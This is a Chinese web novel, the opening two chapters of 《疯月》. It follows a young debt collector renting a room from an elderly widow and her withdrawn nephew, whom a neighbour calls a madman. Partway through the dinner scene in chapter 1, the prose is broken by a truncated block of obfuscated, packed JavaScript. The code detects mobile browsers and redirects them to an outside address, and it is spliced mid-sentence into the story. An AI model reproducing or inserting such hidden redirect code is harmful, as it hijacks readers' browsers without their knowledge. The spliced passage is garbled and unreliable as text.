《疯月》 1. Chap.01 多出个男人 Chap.1 多出个男人——是谁? 疯子名叫赵路。 我第一次见到他,是在个周一的上午。 那天我睡到10点多,打起精神出门去买了些日常用品再顺带吃了个早饭,提着大包小包费劲打开门、进了屋,再又重新带上门、往后一转身—— 就看见了他。 他微微侧歪着脑袋,嘴里叼着牙刷,一手抱胳膊,一手持牙刷,立在客厅和餐厅中间直冲大门的位置正望着我。 我轻抽了一口气,放下手里的东西,直起身的同时脸上已挂好了得体的微笑:“Hi,你好。” 他看完这些,静静转身进了后面的厕所。 家里突然多出个四十来岁的男人? 我按下心中奇怪,穿过玄关走到客厅,将几个袋子往自己房门前地板上一放,蹲下身整理起来。 我这房门正好斜对厕所,厕所门又没关,我一抬头便能看到点里面,确切说是看到点那人的半截身子——那半截身子上套着条花色起糊、颜色泛白的格子裤,垂在那儿空荡荡的。 这是个瘦子,大概中等身高。 另半截身子则正向前探着,隐在了墙后。墙后是洗脸台,那里正传来哗哗咣咣的声音,大概是漱好口正在洗牙刷。 见他作势直回身子,我便低下头,从袋子里拿出新拖鞋摆在地板上。 但那人却并没出来,而是重又探了下去,应该是在洗脸。 他这是才起床吧。 我想起刚进门时,转猛了看到的那头七上八下左突右冲,乱蓬蓬松垮垮的头发。 还穿着旧居家服…… 他是常来呢,还是常住? 要是常来,他那驾轻就熟的自在模样却像极了自己才是这家里的主人。 要是常住,我搬来这都已经是第八天上了,却才头回遇见他。 而且,他也完全不在意我这个生人——是方姨已经和他说过了吧? 但方姨从来没有和我说过啊。 他到底是谁? 方姨的儿子? 还是……情人? 我仍蹲着,回想着方姨说过的她这家里的情况:她先生十多年前就去世了,家里只有她自己。 ——她没说自己还有个儿子啊。 而且,如果她还有儿子,儿子还时不时回家,又怎么可能把唯一的次卧给租出去呢? 所以,只可能是情人吧。 但是…情人…… 我眼前浮现起方姨的样子来—— 那是位身形矮小,皱巴着像是缩了水的老太太。她的背微微佝偻着,脸上则布满深纹。头顶已经白了,头发很整齐,在脑后盘成一个圈。 看上去,她比实际年龄还要再大一些——她应该说过自己五十七了。 我拎着炒粉饭盒和空袋子站起身来,套上拖鞋,又回过身去瞅了眼厕所。 那男人却也正好这时候收拾停当,撩着额前湿漉漉的头发走了出来。 他一眼就瞥见我站在房门口这儿望他,便略扬起下巴垂着眼皮也看了看我,随即无所谓地撇了撇嘴。 ——要打…招呼吗? 他这时已经走出厕所前那一小截走道,来到客厅和餐厅之间。 我正要出声,那人却往左一拐转到餐厅,再继续左拐径直走进了书房。 接着房门便被关上了。 ——书房? 我愣了愣。我还以为他会进客厅这边的主卧。 我也撇撇嘴,将地上那堆东西踢进房间,走了进去,也把房门给关上了。 屋子里冷不丁多出个人来。 还是个这样难相处的。 我心里有些别扭,觉得方姨这事做得真是有点不太地道—— 租房时没提家里可能会来客人也就算了,这人都来了,怎么也不提前打声招呼?是觉得没必要向个租客说太多?但要是我再谨慎一些直接报了警,那情形难道不尴尬? 我坐在书桌前面,边想边往嘴里扒拉炒粉。 冷不丁多出个人来…… 我心里咯噔一下——如果不是冷不丁多出来的呢? 如果……那人一直都住这儿呢? 想来,我这天天早出晚归的,一进屋又直接关在自己房里。这房子隔音这样好,外面电视机又总响着,屋子里再多出个人,我又怎么可能知道? 是了。方姨今天这时候还没回来,那上的就应该是午班。所以她9点多出了门,要将近7点钟才会回来。那男人便大可以睡到12点我回来时才起床。 他们不知道我今天休息,大概压根就没想到这屋子里白天还能再有别人。 只是,看那男人的模样,似乎半点都没觉着尴尬。 别说尴尬了,简直是看到跟没看到一个样。 真是个怪人。 他总不会以为,只要装作看不见我,我就会也看不见他吧。 我被这个想法逗得胸口一阵剧震,回过神来。 炒粉盒已经空空如也,一次性竹筷上则多了几个浅浅的牙印。 ——啧。 我起身走出房间,将它们扔进厨房的垃圾桶里。 厨房隔了餐厅正对着书房。 书房门仍旧关着,也听不到里面有什么动静。 我转身回了自己房间。 那个男人还在吗? 我躺在床上,环顾这宽敞明亮的房间,想。 原以为,这下总算可以暂时安定下来了。但是,真的可以安定下来吗? ——唉,既来之,则安之。 就像这个来之不易的假期。 于是我闭上眼,安安心心地美美睡了个午觉。 再醒来已经是下午快4点了。 我先去阳台将这积了一个多星期的衣服给洗上。 书房和主卧的门仍都关着,听不出里面有什么动静。整个屋子静悄悄的,就像被吞进了一只沉默巨兽的肚子里。 看起来这屋里会动的,便只有阳台上我这个活人,和我旁边这台洗衣机了。 我稍稍整理了头发和衣服,出门去了楼下的生鲜店。 出门时,我看了眼鞋架,上面好端端地摆着方姨的拖鞋。 ——方姨今天的确是午班。 可惜我上午回来时没留意鞋架,之后也没想到要出来看看,现在都没法确定那男人还在不在这屋子里。 我原想要买只鸡的,问过价钱后却放弃了。 最后买了条草鱼,不大,将近3斤,加上葱姜蒜,却也一起花了30好几。当得我三天的中饭了。 虽然心疼,我却也总得感谢感谢方姨的收留和照顾。难得今天休息在家,我就想晚上一起吃个饭。 买好东西,再回到家时才5点刚过。大门外的鞋架仍和我出门时一样。 我轻轻推开了屋门。 家里仍是静悄悄的。连洗衣机都停止了工作,整个屋子比之前还要安静。就像荧幕上卡带的默片。 书房和主卧的门依旧关着。 实在不像还有别人的样子。 我去厨房放下鱼,再做完些杂事就回自己房间,读了会儿书——《查拉图斯特拉如是说》,还是从方姨的书房里借的。 我自己家里也有一本,但没读过。上次看房时,方姨也领着我转了圈书房,我一眼就从占了整一面墙、装得满满当当的大书柜里认出了这本书——的封皮。 我于是问方姨能不能将书借给我读几天。方姨却只让我不用客气,把这当做自己家就好,书房都可以随便用。 于是,我将它借了来,闲着没事就翻一翻——虽然读不懂,拿来助眠却是极好的。 今天的情况却有些不大一样——我一口气翻了三十多页还清醒着,可能是因为睡眠已经饱和了——直到方姨敲响了我的房门。 看我开门,她先仔细瞅了瞅我,又越过我看了看房间里面。 “你是在读书啊。那鱼是你买的吧?”她的口气不可置疑,带着责备,“这么大一条,得花多少?你会做吗?在外面放了多久了,这天气可放不住。” 我便告诉她,鱼确实是我下午刚买的,我想和她一起吃顿饭,好谢谢她。 “我本来想为您做顿饭的,进了厨房却根本不知道要怎么下手……我实在不会做饭,也分不清这家里的东西。”我说着,不好意思地挠了挠后脑,“我又没想起来您今天是上下午班,要很晚才回来,把鱼放在台子上就忘记了……” 看着她神色逐渐缓和,我继续惭愧道,“现在都已经这个点了,您在食堂那边已经吃过了吧?要不鱼先收冰箱里,您明天白天做了吃吧。反正是为了您才特地买的。” “你是买来和我一起吃的啊。”她脸上带着笑,“我是吃了点东西,但是你吃过了没有?” 我有些支吾起来:“我刚刚看书…忘记了,不知道已经这个点……” “那就是没吃吧。你这孩子,真是看书看傻了,也不知道饿。”她笑着数落了我一句,“你在这等等,方姨这就去给你做鱼吃。” 说着,她就要转身出去。我赶忙去拦,请她不用麻烦,又说自己一般都不吃晚饭,要是实在饿了,下去随便找点吃的就能对付过去。 听到我这话,她又有些责备地看向我:“不吃晚饭?那怎么行?你自己的身体,不要了吗?难怪你这样痩了。方姨告诉你,太瘦不是件好事!” 说着,她便执意去做晚饭了,说等做好自己也会一起吃点,还不准我去帮忙。 离开时,她帮我带上了房门。 直到房门关上前,她都笑吟吟地望着我,摆手让我安心看书。我只好呆在原地,在感激和无措中目送她—— 她笑吟吟的脸上,斜向的皱纹深深叠起,眼睛也叠成了两条细缝,细缝里的喜悦满得都要溢出来—— 其他再都没有别的了。 没有尴尬,没有惊惶,没有掩饰,没有试探…… ——那就,很耐人寻味了。 我转回身子,俯在书桌前,桌上是那本摊开的书—— 方姨提都没提那个男人,也看不出一星半点秘密被撞破的紧张。 甚至,刚才听我说今天休假在家,她神色都没有丝毫变化。 ——方姨她…是的确不知道他来过,还是在演戏呢? “呵……”食指指尖在书缝上一打,再漫不经心地向右划过一行,“如果是那样,事情好像比我想的还要奇怪呢。” 我又翻了一页。 没过多久,门外就传来了方姨喊我吃饭的声音。 我应了一声,合上书,打开门走了出去。 客厅电视开着,正播着黄金档的电视剧。 我走到餐厅—— 餐厅里没看到方姨,却看见了另一个人。上午的那个男人。 ——看来,蹭上饭的不止我一个。 我该觉得意外么。 那人坐在桌后靠窗的椅子上,身子弯成一道弧,肩胛正好切在椅背上缘,双手则往前搭上餐桌,坐得十分松垮。 他穿的还是上午那身磨花了的长袖格子套装,头发的情况却好了不少:虽然还乱着,体积却明显缩了水,也大多避开了眼睛附近区域——那里现在架着副黑框眼镜。 厨房传来揭盖锅盖、热锅呛油的声音。 门虚掩着,磨砂玻璃上隐约透出来光线变化。 方姨是在厨房里。 这个男人还在。 方姨知道他在。 他们就这样大大方方,稀松平常地一起亮相了。 我在餐厅前停了停,随即走到了桌边。 桌上已经摆了道菜——清炒莴笋丝,以及三副碗筷。碗里已经盛好了米饭。 那男人的左手便虚虚盖在一副筷子上,食指一下下轻轻敲击着筷子尾部。右手则松松地摊开在桌上。 那是双细瘦修长,指节分明的手。手背上伏着青筋,肤色中混合了血流不畅的青和不见天日的白,就像枯萎的白桦树枝,干燥、纤薄、粗糙。 确实是双四十岁上下男人的手,一双四十岁上下不太干体力活的男人的手。 我过来时,他正低头垂眼,看向自己那只摊开的右手。听到动静,他的头和眼睛向上抬了一抬,就又随即低了回去。 “您好,咱们上午见过的,还没来得及认识。”我站在桌前,笑吟吟地望着他。 听见我说话,那男人掀起眼皮来扫了我一眼,又低下头去继续看他的手指。 “我叫晋江行,江水的江,前行的行。是在这租房子的,刚搬进来不久。您叫我小晋,或者小行就好。您是方姨的客人吗,请问怎么称呼?”我继续说,好奇这人是不是真打算无视到底。 他没再抬眼看我,大概是觉得无趣。 厨房的门却打开了。 “小晋,你出来啦。” 见方姨端着碟蒸鱼出来,我赶紧取了隔热垫放桌子中间,连声称赞好香。 “快坐下。就坐那把椅子吧。”她将鱼摆到垫子上,指指佛龛前的椅子让我坐下,然后自己走到桌对面靠近厨房门的椅子旁,将围裙摘了搭上椅背,也落了座。 “你喜欢吃辣的吧?我特地炒了些酱浇在上面,这样有味道些。”她边说着边将鱼又往我近前推了推。那鱼淋了酱汁,看上去艳红通亮,鲜香四溢。 “尝尝看,怎么样?” 我伸出筷子夹下一块送进嘴里,接着就眼中一亮,真心称赞道:“真好吃!” “真的吗?不会是在哄方姨开心吧?我知道自己做菜一般般的。”她的眼睛又弯了起来。 “当然不是哄您开心,是真的好吃。有家的味道。” “真是会说话。好吃就多吃一些。” “嗯!方姨您自己也快吃。” 方姨好像并不打算向我介绍那个男人。 我眼角的余光扫到那人——他终于把头抬起来了,正光明正大地打量我。 我便转过脸去对着他,弯起眼角嘴角,露出六颗牙齿,开朗一笑。 他却眸光一闪,下巴一抬,身体跟着向后小幅一震,左边的眉毛和右边的嘴角同时向上挑了起来。 然后,他懒洋洋地向前拉直了身子,把筷子推向右手,再用右手捏起来去夹了块鱼到碗里。 我刚刚好像听到了一声哼笑。好像还很清晰。 ——啧。 我在心里耸了耸肩。 方姨也正顺着我的目光看了过去。 坐下来这么久,她总算没有再无视那个男人。 大概是因为刚刚那声哼笑,她脸上笑容凝了凝,慢慢收了起来,眼神也跟着黯了黯。但她没说什么,只是低下头来夹了些莴笋丝到碗里。 于是我也低下头,接着吃碗里的鱼。 ——她好像并不很欢迎这位客人,却拿他没办法。 “哎呀,还有道菜的,我怎么给忘了!” 方姨急忙站起身,又走进厨房,再出来时手上端了一大碗汤。 “时间来不及,用高压锅炖的,可能没那么好喝。”她神色中带了些遗憾。 放下汤,又接着转身回了厨房,声音是从里面传出来的。 “家里没什么菜。我又不知道,没什么准备。将就做了这些,你可不要嫌弃。” ——原来,她真不知道那人会来。 方姨再回来时,端着个比饭碗略大一圈的中号碗。 “胡萝卜排骨汤,特地给你炖的。你看你都瘦成一把骨头了,快多吃点肉。”她一边念叨着,一边往碗里盛排骨和胡萝卜,“胡萝卜也要多吃点,对眼睛好。你现在上班得天天对着电脑吧,别近视越来越严重了。” 她边说着,边又往碗里垒了好几块排骨,这才开始舀汤。 盛好汤,把碗放到了我跟前。 我?给我的? 我颇有些受宠若惊,连忙说:“啊!谢谢方姨!您怎么给我盛汤啦,我自己来就好。您忙了这么久,该自己多吃点的。” “我之前都吃过啦,现在不饿,稍微尝两口就行了。你才是要多吃点。”她只管把那碗汤往我跟前推。 我推辞不过,只好捧住了汤碗,有些不自在地拿眼角去看那左手边那男人。 他却没什么反应,只是自顾自地夹菜、吃菜,很认真地拿筷子从鱼肉里挑出刺来,刮在碗边那一小堆残渣上。 ——他们两个,到底是什么个情况? 我正走神,方姨却忽然说有事想同我商量。 “这事,我其实已经想了好几天了。”她垂了垂眼才又看向我,神情间似有些局促,“要不,你以后都回来吃饭吧。早饭、晚饭都在家里吃,中午的饭阿姨提前给你做好了,你上班时带过去。可以吗?” ——可以吗……? 我一愣,完全没想到方姨想同我商量的会是这种事。我可是连房租都还欠着,也根本拿不出伙食费来……这样,真的可以吗? 我赶紧谢过方姨的好意,又认真将自己的窘境重新向她说了一遍。 她却笑眯眯地看着我:“方姨给你说过好多次,你不用老是顾虑着钱的事。你要给钱,还是等以后手上宽裕了再说吧。阿姨相信你,都会好起来的。” 她夹了块鱼到我碗里:“在外面打拼不容易,把身体养好了才是最要紧的。这段时间你都没好好吃饭吧,眼见着人就又瘦了一大圈。听阿姨的话,明天开始,就都在家里吃吧。” 听着她的话,我喉咙哽了哽,心里忽地有些难过起来。 “方姨,要是我家里人都能像您这样好,就好了。”我小声嘟哝了一句。 “小晋,你是怎么了?之前在家里,是有什么不愉快吗?”她已经放下了碗,坐着等我们吃完。听到我嘟哝,她马上看了过来,神色中带着关切,还有一些迟疑。 “其实也没什么,就是吵了一架。”我低下头,“方姨,这些菜真好吃,您再多吃一些吧,就当是陪我。” 她却只是垂眼盯着饭碗看了好一会儿,像是在心里酝酿着什么话。 终于,她说:“小晋,你要知道,不管怎么样,做长辈的都只会盼着晚辈好。父母是这样,其他长辈也都是这样的。” 我抬头去看她,她的眼睛仍盯在碗上,里面满是疲惫和伤感。 “可能以后你就懂了。” “嗯,好的。” 我低下头去扒饭,眼角扫到了左手边那个男人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001291|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他正饶有兴味地看着方姨和我的互动。见我看过来,他竟冲我微微一笑,却也丝毫没有收起眼里的审视。 然后,他收回目光,伸出手,去汤碗里夹了块排骨。 “对了,小晋。”方姨的声音在温和中带着严肃,“有个事还是要再提醒你一下。” “方姨,您说。”我也放下筷子,认真地听。 “之前就应该和你说过,用完厕所一定要记得关好门。这屋子的布局不好,厕所直接对着大门。你知道,厕所是污秽之地,里面的秽气冲撞了大门的话,是会影响家里人的运势的。工作、健康都要受到影响。” 厕所门没关? 好不容易有了这样的住处,方姨又说过几次,我怎么可能会犯这种错误? 我侧眼去看那男人——他正低头吃饭,仿佛什么都没听到。 ——呵。看来肇事者并不打算给自己找事。 “原来是这样啊,那真是太不好意思了。大概是我下午忘了关。我之前不知道这样严重,就没太上心……”我放慢了语速,轻声说道。眉毛微微夹起,那是个抱歉的微笑。 “没事,没事。也怪方姨之前没和你讲清楚。这叫‘一箭穿心煞’。现在你知道原因了,以后一定记得就好。” “好的,方姨。我以后一定会注意的。” 这会儿晚饭已经到了尾声。 我喝下一口汤,故意随口问道:“对了,方姨。” “怎么啦?” “这位叔叔该怎么称呼比较好啊?我们还没打过招呼呢。”我冲那男人略带歉意地笑了笑,又朝方姨有些害羞地微笑着。 方姨的脸色却忽然变了几变。她有些迟疑地向那男人转过脸去。 “叔……”她嘴唇开合了几下又闭上,回过头来盯着我,眼神中慌乱和茫然明暗交织。 “是啊,我是该叫叔叔吧?”我眼睛因为困惑而睁大了些,里面更深处则是迟疑和张惶。 我这可是生怕自己叫错了人,更加礼数不周呢。 是啊,叔叔。 这是个四十岁上下的男人。 他正安静地抱着胳膊坐在那里,微侧着身子歪头朝向我,却似乎什么都没在看,也什么都没在听。 这就让我可以慢慢地细细地打量他。 他的皮肤白而干燥——这是之前就已经知道了的。 这张脸就很白,也很干燥。干燥顺着毛孔在脸上扎出许多小洞,又扒着眼角和鼻梁在颧骨上扯起了几张细网。那双眼睛原本大概算得上是大的,这会儿却只从懒懒耷拉着的眼皮下露出来一小截,里面空洞洞的。鼻翼两侧划出两道深深的括弧,中间横了条薄薄的直线,那是他的嘴唇,上面正挂着疏离的浅笑。人中很深,下巴上刺满了青色胡茬,将整张脸称得更加没有血色。 缺乏特征的五官。却有着清晰明显的轮廓——这也不是因为脸型上有多少棱角,而只是肉少到尚不足以柔和掉头骨的线条。 这就是张四十岁上下的男人的脸。我当然该叫他叔叔。 我又望了望方姨。 她正抿嘴望向那个男人。她已经又平静下来,只是唇角边还垂着些许尴尬,皱纹中还盛了一些无奈。 她为什这样介意“叔叔”这个称呼? 是因为瞧起来四十来岁的叔叔,和看上去六十多岁的阿姨,听着不怎么搭吗? “不要管他了,安心吃你的饭吧。”她站起身,将自己的碗筷先收进了厨房。 “嗯……” 晚饭后,方姨再次拒绝了我洗碗的请求,让我回房间休息去。 看来,她并不想让我在餐厅多呆。 而那个男人,在我和方姨说话时已从虚空中回来,正靠着椅背,若有所思地望着我俩。 我冲他笑笑,转身回了卧室。 我想,方姨大概并不希望我成为她和那男人之间的一个变量,无论是多么微小的变量。 ——他们之间的事情,一定比我之前所想的要复杂得多。 这次我没有关卧室门。 我想,也许方姨会有话想对我说。而且,刚刚才一起吃过饭,等会儿她大概又要过来看电视,我关着门不大礼貌。 于是我便敞着门,靠在床头看手机。 果然,方姨收拾好了厨房就过来了。她先问了阳台上晒的衣服,主动揽过了帮我洗衣服和换洗床单、被套的活,接着便说起了房门的事。 她指着门把手上那串红绳系着的铜钱,说这是五帝钱,挂在这是为了化解“门冲煞”——两个卧室门对门,容易发生口角矛盾。 “所以,你平时在家还是把房门关起来,出去了最好也记得关上。”她说。 ——哦,“门冲煞”啊。那房门是得好好关上才行。 这屋里装的都是厚实的木门,墙也挺厚,隔音效果很不错。外面客厅电视又总放得那么大声—— 房门这一关,的确是能关住全部口角矛盾的样子。 “哦,原来还有这样的说法,我第一次听说。方姨,您懂得真多。”我睁大了眼睛,十分好奇。 “哎,我以前就是不懂,才吃了许多亏过来的。现在才知道,风水这里面门道可多着呢。有些东西啊,它不讲究不行的。”说起风水,她脸上显出神采来,像上了层柔光。 她正要再多说些,却一眼扫到了桌上的电子钟,轻呼了声:“哎呀,都9点多啦。你快休息吧,阿姨不打扰你了。” 说着,她便走出了房间,又细心帮我带上了房门。 门关上后,我便又躺下了。在手机上玩了一晚上数独,还是没觉得困。 屏幕左上角的数字变成了00:03。 快睡吧,我想,明天还得上班呢。 于是,我放下手机,爬下床先去上个厕所。 走到房门前,握住把手,侧身轻轻贴在门后,头也靠了上去——外面电视声已经停了,也没有别的响动。 确实,这个点方姨早该睡了。 我直起身子,拉开房门走了出去。 外面漆黑一片。 黑暗模糊了屋子的大小。只有我身后这片暖黄,还有右前方一点渐明渐暗的猩红还指示着方向,显出周围一小圈轮廓来——那是佛龛前的莲花灯。 说来,屋里摆盏这灯还真挺方便的——起夜方便时那真是方便。只是方姨大概用不上,因为主卧带厕所。 这会儿,主卧完全消失在黑暗里,那个方向静悄悄的。 我往外走了两步,才看到书房门下横着的那条细细的白线,它在莲花灯下显得很是黯淡。 书房亮着灯。那人还在? 我慢吞吞走进厕所,关上门,想起上午那人走进书房时的样子。 ——他怎么还不去睡? 他和方姨的关系…已经僵到了要睡书房的地步? 可是……书房也没有睡觉的地方啊—— 那房间开门就是个转角,右手边的东墙摆了张大书桌,桌前是把圆形实木大转椅。转过弯北墙就是那座大书柜,西边是窗户,窗户下有飘窗,飘窗前靠着书柜还摆了把木椅,另一头则放了个白色塑料柜。紧挨着就是又那个转角,再往前就绕回门口了,只在门背后堆了些杂物。 别说在里面找张床了,就是想再加张床,也都没地方放。 我边想着,边放下盖子冲了水,开门走回自己的房间。 路过书房时我没听见里面有动静。他到底睡没睡? 进房熄灯时我才想到——也可能其实里面没人,只是忘了关灯。 之后我就开始在这家里吃饭了。 于是,每天和方姨相处的机会就多起来。我这才更感觉到她对我的照顾—— 早上天还没亮,她就在厨房忙活上了。等我睡眼惺忪走出房间,餐桌上已经摆上了热腾腾的早饭。 傍晚时,即使她是午班,已经在食堂吃过,也会尽早赶回来做好晚饭,坐下来陪着我们再一起吃点,和我聊聊天。 她总叮嘱我早点休息,也从不轻易敲我的房门。 在和方姨这样的相处中,我打心眼里觉得暖烘烘的。 这下,是真的可以安定下来了吧,我想。即使这屋子里又多出了个男人。 是的,这屋子里又多出了个男人。 那个男人,也同样安定了下来——他开始光明正大,堂而皇之地在屋里进出了。 每天晚饭时他也坐在桌边,那个靠窗的位置,低着头安静吃饭。他从不加入闲聊,也不接话,只是偶尔皱眉,或者在嘴边噙起淡笑——也不知是因为我们的谈话,还是因为他自己的沉思。 但他总算没再无视我了。第二天起,只要遇上,他多少还愿意和我聊上两句。他告诉我,他是方姨的侄儿,名叫赵路,在这已经住了两三年了——睡书房。 我恍然大悟,却仍想不明白,他在书房究竟睡哪儿。而且,这屋里明明有间侧卧,方姨却将侧卧出租,让侄儿去住床都没有的书房,想想都很奇怪。 但奇怪归奇怪,总归那男人的身份明了了。除了某种微妙的幽默感,他不过就是个正常的普通人。我想。 直到第一次见面的三天后—— 三天后,我知道了赵路是个疯子。 2. Chap.02 做谁的祭品 Chap.2 做谁的祭品——别被它看见 那天我总算正点下了班,到家才6点半多一点。 方姨还没回来,应该又是午班。 赵路却在家。我打开大门走进屋时,就看见书房门敞开着,里面亮着灯。 我便回自己房间取了那本《查拉图斯特拉如是说》,走到书房门口,敲了敲门。 赵路却原来不在书桌前,而是屈膝坐在飘窗上,背靠着墙,头倚着窗,像在远眺。从门口正好可以看见他朝向窗外的侧脸,上面晕着暖黄的天光。 听见动静,他转过头来,花了两秒才将眼神聚到我身上,脸上还滞留着木然。 “没打扰到你吧?我来还书。”我扬扬手中的书,“上周向方姨借的。是你的吧?” “查拉图斯特拉啊。”他勾起一丝笑,向左抬了抬下巴,“放桌上吧。” 我走到书桌前,放下书,却听见他缓缓说道:“月亮从不注视着沉睡著的人。” ——嗯? 我的表情一定带了茫然,他才又挑了挑眉毛和嘴角,接着说:“宣讲者对查拉图斯特拉的反驳——‘沉默的午夜即是月亮的晌午’。” 哦,他说的是那本书里的内容——好吧,其实我连第二卷都还没读。 我微笑着看向他:“哦,那么刚才你是在注视月亮吗?” “注视月亮?不,月亮还没出来。”他又转过脸,望向窗外,“而且,我也不敢去看月亮。” “不敢看月亮?为什么?”他的话又不着边际了。 “月亮,”他顿了顿,“因为它在发光。月光看起来是温柔,皎洁,神圣的吧,但其实却是冷漠,虚伪,险恶的。它是迷药,是渔网,是绞索。它会把你抓住,抓到月亮上去。” ——什么乱七八糟的文艺抒情?这也是书里的话? “呃…你是说月亮会像UFO一样,射出光束把人吸上去?” 他噗地笑了,回头看着我,镜片上反射着两圈亮晶晶的灯光:“当然不是。你得自己找路上去的,搭天梯,乘火箭,或者干脆成仙飞上去。月亮会捕获你,但要你自己走上去。” 我缓缓深吸一口气,这就是我所说的——赵路那微妙的幽默感。 “那么,你被月亮捕获了吗?” “是啊。所以我得躲着它——不能去看月亮。因为,你看见它的时候,它也看见了你。” “月亮捕获你是要做什么呢?” “祭品,它挑选出自己喜欢的人,将他们作为祭品。”他定定望向我,“你也要小心,不要去看月亮,不要被它发现。我知道,你和其他人不一样——我们是同类。” ——这……“祭品”听上去似乎比“外星人的实验对象”还要糟糕。 我只好讪笑:“这样啊。我想你说的对,我们的确是同类——同样是人类。但你对其他人可能存在一些误解——其实,他们也都是人类。” 赵路淡笑着别开了眼。 “对了,有件事我好奇很久了。”我有些迟疑地问,“你说一直住在书房,可这里又没有床……难道你都不用睡觉的吗?” 我在笑容里揉进些明朗:“如果真是这样,我就得考虑收回‘我们是同类’这句话啦。” 他像是被逗乐,嘴角一歪:“这房里有床啊,我不就坐在上面么。” ——原来,他睡飘窗啊。 我仔细打量了那飘窗。它占了几乎一整面墙,确实能躺下人,上面也铺着厚厚的垫子。而他腰下塞的那一大团我原以为是靠枕的东西,可能就是他的枕头和被子。 “原来是这样。我之前还想,你是不是墙上那幅画成了精,每天晚上都回画里去睡呢。” 我说的是飘窗南头的墙上挂着的一幅画。 那画应该是水粉的,尺寸比电脑屏幕稍小一点,被精心装在镶了玻璃的木质相框里。画面是深蓝夜空中的一轮淡金色圆月。那圆月就像一扇窗,窗内,爸爸、妈妈和扎羊角辫的女儿围桌而坐,手里拿着月饼,桌上摆满水果和菜肴。月亮上方还长着株桂树,差不多有六分之一个月亮大小,却枝叶撑开如伞盖,超过了整个月亮的宽度。树上开满桂花,白得耀眼,淹没了树枝树叶,又继续在夜空中洒下点点星光。 画面很美,却带着稚拙,看起来作者的年龄不会太大。 不知道为什么,第一次进书房时我一眼就看到它,印象很深。 这会儿我又望向那幅画,抿起嘴露出些坏笑来:“就是猜不出到底是月亮成精,还是桂树成精。” ——反正都挺白的。 听我这样说,赵路又轻轻嗤笑了声,也朝那画看去。 “那就巧了,之前我还想,你是不是我臆想出来的——就是刚遇见你那天,上周一。这就算扯平了。” ——原来是这样吗?这玩笑接得就很有创意了。 “难怪那天你都不搭理我。”我恍然大悟。 “嗯。后来吃饭时看见你和伯母说话,我才确认你是真人。” “所以之后你愿意理我了。”居然还很合理。 “是啊。没想到伯母真把房子租出去了。”他歪了歪脑袋。 真是个有意思的人。 这时我手机震了下铃。是公司配的业务手机,收到条客户的短信——告诉我银行卡里已经存上了钱,让我帮他划扣还款。 得,好不容易早下班一天,这又得赶回公司。好在公司就在附近,走过去也就半小时不到。 我把手机揣回兜里,和赵路说了一声就往外走。 他仍盯着窗外,声音似笑非笑:“月亮就要出来了,最好别这么晚出门。小心被它抓住。” 我耸耸眉,离开了书房。 出大门时,正赶上方姨提着好几袋菜回来。 我告诉她公司临时有事要过去一趟,让他们先吃晚饭,不用等我。 方姨听后愣了愣,让我忙完了早点回来。 外面天色已完全暗了下来。抬起头,望见树梢上那轮低悬的明月。月光淡淡地铺着,隐在路边的灯光里。 我回想着赵路的话,觉得有些好笑:当谁想这么晚出门呢。只怕是不出门,我就要变成“月光”本光了。那才真是赤条条来去无牵挂,只能投奔月球去。 至于我的那些客户——他们倒是光不了:钱虽然没了,这不还有债么。月光再强势,怕也抢不过将他们牢牢绑死在地上的债务吧。 是的,我是一名催收员,在一家专门服务消费贷平台的催收公司上班。 入职还不满一个月,我却早已见惯了那些被债务“捕获”的人:他们有着千奇百怪的画风,讲着五花八门的理由,过着形形色色的人生,却同样都是“祭品”——债务的祭品,或许也是消费的祭品。 而我自己,也有债务——我正欠着方姨的房租和饭钱。 我也还在消费——我得有地方住,得有东西吃。 “那么,我也会是谁的祭品么?”我自嘲地笑笑。 “至少——比起被月亮捕获,怎么看,我都是被‘六便士’捕获的可能性更大些。” 到公司时,里面居然还有人在加班,我很顺利就进去了。 划账不过几秒钟的事,比电脑开机还快。 搞定后我便直接回去了。 快走到屋门口时,正好隔壁有人出来。是位深红褐色卷发齐肩的阿姨,中等身材,脸上许多皱纹,比方姨年轻不了几岁。 我和她交换了个目光,微微一笑,从兜里掏出钥匙继续往前,要去开门。 那位老阿姨却不继续往前了。她皱起眉,目光跟着我到了门边,才问:“你是住这502的?” 我转过身:“是啊,阿姨好。我是在这儿租房子的,才刚刚搬过来。” “租房子的?你叫什么名字?”她的脸完全坦露在楼道昏黄的灯光下,松弛的两颊看着有些发紧,一双眼睛里也全是警惕。 “我叫晋江行。您叫我小晋就好。” “哦,小晋啊。你是这家的亲戚?” “不是,我是在网上找的房子。” “网上找的房子?他们怎么还往外租房子了?家里明明那样的情况……”她重重拧起眉头,上下扫视我的神色。 “那样的情况?阿姨,这家里…是有什么事吗?”我疑惑而恳切地望着她。 “你还不知道啊?”她眼睛又瞪圆了一圈,头往下一别,卷发便也跟着轻轻一跳,“唉!这隔里隔壁的我也不好说……”随即又挑起眼来看我, “但你人在这住着…早晚也会知道的。” 于是,她拉住我胳膊将我往外拽了拽,压低了声音:“你住的这502里,住了个疯子。” 疯子? 谁? 赵路? ——只可能是赵路吧…… 我望着她半明半暗的脸,脑子里闪过赵路的言行,他那异常的淡漠和奇怪的幽默感……原来是因为他疯了? “那疯子是他们弟弟家的孩子,”她将左手捏成个鸟头形状,鸟嘴对着502的屋门飞快地一啄,转过头来瞅着我,“你还没见着啊?” ——那就对了,赵路正是方姨的侄儿, “我应该已经见到了……但还不知道他是个疯子。”我有些犹豫道。 “那是个疯子呢。先前隔三差五地就听见他们两个在屋里对着喊,又是尖叫,又是砸东西,大半夜都不得安生。那动静哟,真是吓死个人。” 我瞪大了眼睛,呆呆地似说不出话来。 ——可是,赵路,呃,疯子看起来很安静啊。 “这不,前段时间才又大吵了一架,那疯子就自己跑出去啦。跑了大概有大半个月吧,到处找不着人,警察都来了好几回,把你那房东急得哟。那可是个疯子啊,跑出去打了别人可怎么办?最后谁都没找到,还是几天前人家自己跑回来的。” ——难怪。 赵路说自己一直住这儿,但我刚搬进来时他却明明不在,几天后才突然出现。原来是这样。 也难怪方姨对他那样冷淡。我从没见他俩说过话,方姨似乎也不愿我和他多说话。每次提起他,她总一脸的尴尬躲闪。 